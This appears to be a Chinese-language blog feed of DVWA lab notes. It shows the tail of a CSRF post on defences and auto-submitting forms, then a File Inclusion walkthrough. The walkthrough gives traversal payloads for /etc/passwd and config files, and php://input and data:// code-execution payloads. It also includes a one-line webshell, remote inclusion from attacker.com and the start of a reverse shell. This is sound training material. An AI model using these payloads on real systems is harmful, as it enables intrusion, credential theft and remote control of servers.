href="#1-使用CSRF-Token（推荐）" class="headerlink" title="1. 使用CSRF Token（推荐）"></a>1. 使用CSRF Token（推荐）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 生成token</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;csrf_token&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$_SESSION</span>[<span class="string">&#x27;csrf_token&#x27;</span>] = <span class="title function_ invoke__">bin2hex</span>(<span class="title function_ invoke__">random_bytes</span>(<span class="number">32</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 在表单中嵌入token</span></span><br><span class="line">&lt;input type=<span class="string">&quot;hidden&quot;</span> name=<span class="string">&quot;csrf_token&quot;</span> value=<span class="string">&quot;&lt;?php echo <span class="subst">$_SESSION</span>[&#x27;csrf_token&#x27;]; ?&gt;&quot;</span>&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证token</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;csrf_token&#x27;</span>]) || <span class="variable">$_POST</span>[<span class="string">&#x27;csrf_token&#x27;</span>] !== <span class="variable">$_SESSION</span>[<span class="string">&#x27;csrf_token&#x27;</span>]) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;CSRF token validation failed&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-验证Referer头（辅助）"><a href="#2-验证Referer头（辅助）" class="headerlink" title="2. 验证Referer头（辅助）"></a>2. 验证Referer头（辅助）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 严格的Referer检查</span></span><br><span class="line"><span class="variable">$referer</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$host</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_HOST&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">str_starts_with</span>(<span class="variable">$referer</span>, <span class="string">&quot;https://<span class="subst">$host</span>/&quot;</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid referer&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-使用SameSite-Cookie属性"><a href="#3-使用SameSite-Cookie属性" class="headerlink" title="3. 使用SameSite Cookie属性"></a>3. 使用SameSite Cookie属性</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 设置Cookie时添加SameSite属性</span></span><br><span class="line"><span class="title function_ invoke__">setcookie</span>(<span class="string">&#x27;session&#x27;</span>, <span class="variable">$value</span>, [</span><br><span class="line">    <span class="string">&#x27;expires&#x27;</span> =&gt; <span class="title function_ invoke__">time</span>() + <span class="number">3600</span>,</span><br><span class="line">    <span class="string">&#x27;path&#x27;</span> =&gt; <span class="string">&#x27;/&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;domain&#x27;</span> =&gt; <span class="string">&#x27;example.com&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;secure&#x27;</span> =&gt; <span class="literal">true</span>,      // 只通过HTTPS传输</span><br><span class="line">    <span class="string">&#x27;httponly&#x27;</span> =&gt; <span class="literal">true</span>,    // 禁止JavaScript访问</span><br><span class="line">    <span class="string">&#x27;samesite&#x27;</span> =&gt; <span class="string">&#x27;Strict&#x27;</span> // 防止CSRF</span><br><span class="line">]);</span><br></pre></td></tr></table></figure><p><strong>SameSite属性值：</strong></p><ul><li><code>Strict</code> - 完全禁止第三方请求发送Cookie</li><li><code>Lax</code> - GET请求可以，POST请求不行</li><li><code>None</code> - 允许（需配合Secure使用）</li></ul><h4 id="4-验证关键操作密码"><a href="#4-验证关键操作密码" class="headerlink" title="4. 验证关键操作密码"></a>4. 验证关键操作密码</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 对于敏感操作，要求输入当前密码</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">md5</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;current_password&#x27;</span>]) !== <span class="variable">$user</span>[<span class="string">&#x27;password&#x27;</span>]) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Current password incorrect&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="5-使用POST而非GET"><a href="#5-使用POST而非GET" class="headerlink" title="5. 使用POST而非GET"></a>5. 使用POST而非GET</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 所有状态修改操作使用POST</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>] !== <span class="string">&#x27;POST&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Method not allowed&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Laravel自动提供CSRF保护</span></span><br><span class="line"><span class="comment">// 在表单中添加</span></span><br><span class="line">@csrf</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或</span></span><br><span class="line">&lt;input type=<span class="string">&quot;hidden&quot;</span> name=<span class="string">&quot;_token&quot;</span> value=<span class="string">&quot;&#123;&#123; csrf_token() &#125;&#125;&quot;</span>&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证（自动）</span></span><br><span class="line"><span class="comment">// Laravel会自动验证所有POST/PUT/DELETE请求的CSRF token</span></span><br></pre></td></tr></table></figure><h4 id="Django示例"><a href="#Django示例" class="headerlink" title="Django示例"></a>Django示例</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># settings.py</span></span><br><span class="line">MIDDLEWARE = [</span><br><span class="line">    <span class="string">&#x27;django.middleware.csrf.CsrfViewMiddleware&#x27;</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 模板中</span></span><br><span class="line">&#123;% csrf_token %&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证（自动）</span></span><br><span class="line"><span class="keyword">from</span> django.views.decorators.csrf <span class="keyword">import</span> csrf_protect</span><br><span class="line"></span><br><span class="line"><span class="meta">@csrf_protect</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">my_view</span>(<span class="params">request</span>):</span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><h3 id="架构层面"><a href="#架构层面" class="headerlink" title="架构层面"></a>架构层面</h3><ol><li><p><strong>双重提交Cookie模式</strong></p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">- </span>在Cookie中设置token</span><br><span class="line"><span class="bullet">- </span>在请求参数中也提交token</span><br><span class="line"><span class="bullet">- </span>服务器对比两者是否一致</span><br></pre></td></tr></table></figure></li><li><p><strong>自定义请求头</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用AJAX时添加自定义头</span></span><br><span class="line"><span class="title function_">fetch</span>(url, &#123;</span><br><span class="line">    <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">    <span class="attr">headers</span>: &#123;</span><br><span class="line">        <span class="string">&#x27;X-CSRF-Token&#x27;</span>: token,</span><br><span class="line">        <span class="string">&#x27;X-Requested-With&#x27;</span>: <span class="string">&#x27;XMLHttpRequest&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure></li><li><p><strong>验证码（重要操作）</strong></p><ul><li>修改密码</li><li>转账</li><li>删除数据</li></ul></li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>请求方法</td><td>GET</td><td>GET</td><td>GET</td><td>POST</td></tr><tr><td>CSRF Token</td><td>❌</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>Referer检查</td><td>❌</td><td>✅（弱）</td><td>❌</td><td>❌</td></tr><tr><td>验证当前密码</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>SameSite Cookie</td><td>❌</td><td>❌</td><td>❌</td><td>可选</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr><tr><td>绕过方法</td><td>直接攻击</td><td>文件名trick</td><td>XSS+CSRF</td><td>几乎不可能</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解CSRF基本原理</li><li><strong>Medium难度</strong> - 学习Referer绕过</li><li><strong>High难度</strong> - 理解Token机制</li><li><strong>Impossible难度</strong> - 掌握完善的防御</li></ol><p><strong>常用攻击向量：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- GET请求 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;目标URL&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;目标URL&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;目标URL&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;目标URL&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- POST请求 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;目标URL&quot;</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span> <span class="attr">id</span>=<span class="string">&quot;csrf&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">&quot;param&quot;</span> <span class="attr">value</span>=<span class="string">&quot;value&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;csrf&#x27;</span>).<span class="title function_">submit</span>();</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>防御检查清单：</strong></p><ul><li><input disabled="" type="checkbox"> 所有状态修改操作使用POST</li><li><input disabled="" type="checkbox"> 实施CSRF Token验证</li><li><input disabled="" type="checkbox"> 设置SameSite Cookie属性</li><li><input disabled="" type="checkbox"> 重要操作验证当前密码</li><li><input disabled="" type="checkbox"> 添加验证码（可选）</li><li><input disabled="" type="checkbox"> 检查Referer（辅助）</li><li><input disabled="" type="checkbox"> 使用HTTPS</li><li><input disabled="" type="checkbox"> 定期更新token</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不攻击真实用户</li><li>理解攻击是为了更好防御</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - File Inclusion (文件包含) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/File_Inclusion_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/File_Inclusion_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.109Z</published>
    <updated>2025-11-20T15:28:12.793Z</updated>
    
    <content type="html"><![CDATA[<h1 id=""><a href="#" class="headerlink" title=""></a></h1><h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是文件包含（File-Inclusion）？"><a href="#什么是文件包含（File-Inclusion）？" class="headerlink" title="什么是文件包含（File Inclusion）？"></a>什么是文件包含（File Inclusion）？</h3><p>文件包含漏洞允许攻击者通过Web应用程序包含和执行任意文件。分为本地文件包含（LFI）和远程文件包含（RFI）两种。</p><p><strong>本地文件包含（LFI - Local File Inclusion）：</strong></p><ul><li>包含服务器上的本地文件</li><li>读取敏感文件（&#x2F;etc&#x2F;passwd, config.php等）</li><li>结合文件上传获取WebShell</li></ul><p><strong>远程文件包含（RFI - Remote File Inclusion）：</strong></p><ul><li>包含远程服务器上的文件</li><li>直接执行远程恶意代码</li><li>获取WebShell</li></ul><p><strong>危害：</strong></p><ul><li>读取敏感文件（密码、配置文件）</li><li>执行任意PHP代码</li><li>获取WebShell</li><li>完全控制服务器</li><li>内网渗透</li></ul><p><strong>常见场景：</strong></p><ul><li>模板系统</li><li>多语言切换</li><li>动态包含页面</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>无任何过滤的文件包含，可直接利用。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取page参数</span></span><br><span class="line"><span class="comment">// $_GET[&#x27;page&#x27;] - 从URL获取page参数</span></span><br><span class="line"><span class="comment">// 例如：?page=include.php</span></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;page&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作：直接包含用户指定的文件 ★★★</span></span><br><span class="line"><span class="comment">// include() - PHP文件包含函数</span></span><br><span class="line"><span class="comment">// 作用：将指定文件的内容包含到当前脚本中并执行</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：完全没有验证$file的值！</span></span><br><span class="line"><span class="comment">// 用户可以指定任意文件路径</span></span><br><span class="line"><span class="comment">// 如果文件包含PHP代码，会被直接执行</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 示例：</span></span><br><span class="line"><span class="comment">// ?page=file1.php - 正常包含</span></span><br><span class="line"><span class="comment">// ?page=../../etc/passwd - 读取系统文件</span></span><br><span class="line"><span class="comment">// ?page=http://evil.com/shell.php - 远程文件包含（需开启allow_url_include）</span></span><br><span class="line"><span class="keyword">include</span>( <span class="variable">$file</span> );</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>直接包含用户输入</strong> - 没有任何验证</li><li><strong>无路径限制</strong> - 可以使用<code>../</code>目录遍历</li><li><strong>无文件类型检查</strong> - 可以包含任意文件</li><li><strong>无白名单</strong> - 接受任何文件名</li></ol><p><strong>攻击原理：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 正常使用</span></span><br><span class="line">?page=file1.php</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&#x27;file1.php&#x27;</span>);  <span class="comment">// 包含file1.php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 目录遍历</span></span><br><span class="line">?page=../../etc/passwd</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&#x27;../../etc/passwd&#x27;</span>);  <span class="comment">// 读取系统密码文件</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 远程包含（需要allow_url_include=On）</span></span><br><span class="line">?page=http:<span class="comment">//evil.com/shell.php</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">&#x27;http://evil.com/shell.php&#x27;</span>);  <span class="comment">// 执行远程PHP代码</span></span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：测试文件包含"><a href="#步骤1：测试文件包含" class="headerlink" title="步骤1：测试文件包含"></a>步骤1：测试文件包含</h4><p><strong>测试1：包含其他页面</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?<span class="attribute">page</span>=file1.php</span><br><span class="line">?<span class="attribute">page</span>=file2.php</span><br><span class="line">?<span class="attribute">page</span>=file3.php</span><br></pre></td></tr></table></figure><p><strong>测试2：目录遍历</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?page=../index.php</span><br><span class="line">?page=..<span class="regexp">/../</span>config/config.inc.php</span><br><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br></pre></td></tr></table></figure><h4 id="步骤2：读取敏感文件（Linux）"><a href="#步骤2：读取敏感文件（Linux）" class="headerlink" title="步骤2：读取敏感文件（Linux）"></a>步骤2：读取敏感文件（Linux）</h4><p><strong>读取&#x2F;etc&#x2F;passwd：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc/passwd</span><br><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line"></span><br><span class="line">&lt;!-- 继续增加../直到成功 --&gt;</span><br></pre></td></tr></table></figure><p><strong>读取Apache配置：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc<span class="regexp">/apache2/</span>apache2.conf</span><br><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc<span class="regexp">/httpd/</span>conf/httpd.conf</span><br></pre></td></tr></table></figure><p><strong>读取MySQL配置：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc/my.cnf</span><br><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc<span class="regexp">/mysql/my</span>.cnf</span><br></pre></td></tr></table></figure><p><strong>读取PHP配置：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc<span class="regexp">/php/</span><span class="number">7.4</span><span class="regexp">/apache2/</span>php.ini</span><br></pre></td></tr></table></figure><p><strong>读取DVWA配置（包含数据库密码）：</strong></p><figure class="highlight arduino"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?page=../../config/config.inc.php</span><br></pre></td></tr></table></figure><h4 id="步骤3：读取敏感文件（Windows）"><a href="#步骤3：读取敏感文件（Windows）" class="headerlink" title="步骤3：读取敏感文件（Windows）"></a>步骤3：读取敏感文件（Windows）</h4><p><strong>读取系统文件：</strong></p><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?page=C:<span class="symbol">\\</span>Windows<span class="symbol">\\</span>System32<span class="symbol">\\</span>drivers<span class="symbol">\\</span>etc<span class="symbol">\\</span>hosts</span><br><span class="line">?page=C:<span class="symbol">\\</span>Windows<span class="symbol">\\</span>win.ini</span><br><span class="line">?page=C:<span class="symbol">\\</span>boot.ini</span><br></pre></td></tr></table></figure><p><strong>读取Web配置：</strong></p><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?page=C:<span class="symbol">\\</span>xampp<span class="symbol">\\</span>apache<span class="symbol">\\</span>conf<span class="symbol">\\</span>httpd.conf</span><br><span class="line">?page=C:<span class="symbol">\\</span>wamp<span class="symbol">\\</span>bin<span class="symbol">\\</span>apache<span class="symbol">\\</span>apache2.4.9<span class="symbol">\\</span>conf<span class="symbol">\\</span>httpd.conf</span><br></pre></td></tr></table></figure><h4 id="步骤4：使用PHP伪协议"><a href="#步骤4：使用PHP伪协议" class="headerlink" title="步骤4：使用PHP伪协议"></a>步骤4：使用PHP伪协议</h4><p><strong>php:&#x2F;&#x2F;filter读取源码：</strong></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Base64编码读取PHP源码 --&gt;</span></span><br><span class="line">?page=php://filter/convert.base64-encode/resource=index.php</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 结果会输出Base64编码的PHP源码 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 然后使用base64 -d解码 --&gt;</span></span><br></pre></td></tr></table></figure><p><strong>php:&#x2F;&#x2F;input执行代码（需要POST）：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/fi/?page=php://input</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"></span><br><span class="line"><span class="language-php-template"><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="string">&#x27;whoami&#x27;</span>); <span class="meta">?&gt;</span></span><span class="language-xml"></span></span></span><br><span class="line"><span class="language-xml"><span class="language-php-template"></span></span></span><br><span class="line"><span class="language-xml"><span class="language-php-template"><span class="comment">&lt;!-- 结果：执行whoami命令 --&gt;</span></span></span></span><br></pre></td></tr></table></figure><p><strong>data:&#x2F;&#x2F;执行代码：</strong></p><figure class="highlight php-template"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="language-xml">?page=data://text/plain,</span><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="string">&#x27;whoami&#x27;</span>); <span class="meta">?&gt;</span></span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="comment">&lt;!-- 或使用Base64 --&gt;</span></span></span><br><span class="line"><span class="language-xml">?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：远程文件包含（RFI）"><a href="#步骤5：远程文件包含（RFI）" class="headerlink" title="步骤5：远程文件包含（RFI）"></a>步骤5：远程文件包含（RFI）</h4><p><strong>前提条件：</strong></p><ul><li>php.ini中<code>allow_url_include = On</code></li><li>php.ini中<code>allow_url_fopen = On</code></li></ul><p><strong>创建恶意PHP文件（shell.php）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 简单的WebShell</span></span><br><span class="line"><span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>上传到攻击者服务器：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>attacker.com/shell.php</span><br></pre></td></tr></table></figure><p><strong>包含远程文件：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?page=http:<span class="regexp">//</span>attacker.com/shell.php&amp;cmd=whoami</span><br></pre></td></tr></table></figure><p><strong>反弹Shell：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- shell.php内容 --&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 反弹shell到攻击者</span></span><br><span class="line"><span class="variable">$sock</span> = <span class="title function_ invoke__">fsockopen</span>(<span 